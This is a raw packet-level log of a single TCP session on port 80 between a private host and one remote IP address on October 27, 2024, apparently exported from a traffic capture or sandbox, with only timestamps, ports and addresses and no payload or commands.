Oct 27, 2024 00:31:14.105118036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.105171919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.145934105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146006107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.146059990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146070957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146111012 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.146318913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146328926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146341085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146370888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.146399021 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.146806002 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146817923 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146828890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.146856070 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.146872997 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.147358894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.147371054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.147381067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.147408962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.147428036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.148006916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.148019075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.148030043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.148041964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.148056030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.148061037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.148075104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.148102045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.148957968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.148969889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.148981094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.148993015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.149018049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.149049044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.149899006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.149910927 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.149920940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.149933100 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.149945021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.149945974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.149976015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.149991989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.150845051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.150856018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.150866032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.150877953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.150888920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.150904894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.150938988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.151813984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.151827097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.151839018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.151849985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.151880980 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.151901960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.152734041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.152745962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.152756929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.152769089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.152785063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.152785063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.152813911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.152841091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.153680086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.153692007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.153702974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.153714895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.153727055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.153729916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.153769970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.220125914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.220166922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.220280886 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.220319986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.261199951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.261321068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.261440992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.261455059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.261518002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.261552095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.261564016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.261595011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.261631012 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.261817932 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.261831999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.261866093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.261878014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.262243986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.262258053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.262299061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.262615919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.262629986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.262640953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.262653112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.262670994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.262685061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.262712002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.263449907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.263463974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.263473988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.263485909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.263498068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.263510942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.263536930 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.264334917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.264350891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.264360905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.264380932 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.264394999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.264408112 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.265283108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.265300989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.265311003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.265324116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.265336990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.265336990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.265362978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.265396118 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.266243935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.266261101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.266269922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.266283989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.266295910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.266304970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.266319990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.266349077 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.267179966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.267196894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.267208099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.267220020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.267232895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.267235041 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.267256021 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.267281055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.268131971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.268150091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.268161058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.268176079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.268184900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.268188953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.268213034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.268237114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.269083023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.269102097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.269114971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.269128084 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.269148111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.269172907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.270045996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.270061970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.270072937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.270086050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.270098925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.270102978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.270118952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.270139933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.376524925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.376601934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.376610994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.376621008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.376652956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.376681089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.376885891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.376931906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.377089024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377101898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377142906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.377379894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377432108 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.377612114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377624035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377667904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.377939939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377953053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377964020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377976894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.377994061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.378017902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.378835917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.378849983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.378861904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.378871918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.378884077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.378891945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.378906965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.378927946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.379801989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.379858017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.380703926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.380718946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.380731106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.380743027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.380754948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.380784035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.381658077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.381673098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.381684065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.381695032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.381706953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.381714106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.381726980 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.381752014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.382426977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.382457972 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.382469893 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.382481098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.382481098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.382492065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.382494926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.382515907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.382541895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.383383036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.383399010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.383409977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.383420944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.383431911 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.383439064 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.383444071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.383454084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.383490086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.384326935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.384341955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.384351969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.384363890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.384375095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.384385109 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.384401083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.384413958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.385305882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.385319948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.385330915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.385343075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.385354996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.385358095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.385369062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.385390997 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.385401011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.385441065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.386162996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.386178970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.386188984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.386200905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.386213064 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.386236906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.491877079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.491959095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.491975069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.492005110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.492077112 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.492310047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.492377996 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.492415905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.492429018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.492492914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.492722988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.492738962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.492767096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.492790937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.492845058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.492861032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.492887974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.492899895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.493213892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.493261099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.493905067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.493917942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.493932009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.493953943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.493961096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.493971109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.493984938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.494009018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.494553089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.494568110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.494581938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.494596004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.494606018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.494633913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.495349884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.495367050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.495381117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.495395899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.495404005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.495413065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.495425940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.495457888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.495481968 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.496150017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.496165991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.496180058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.496203899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.496208906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.496241093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.496241093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.496931076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.496947050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.496959925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.496973991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.496984959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.496990919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.497014046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.497037888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.497719049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.497734070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.497747898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.497761965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.497769117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.497793913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.497819901 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.498513937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.498528957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.498542070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.498557091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.498569965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.498572111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.498579025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.498621941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.498655081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.499288082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.499304056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.499326944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.499340057 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.499342918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.499351025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.499376059 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.499391079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.499978065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.499994040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500006914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500022888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500030994 CEST	49709	80	192.168.2.6	185.215.113.206
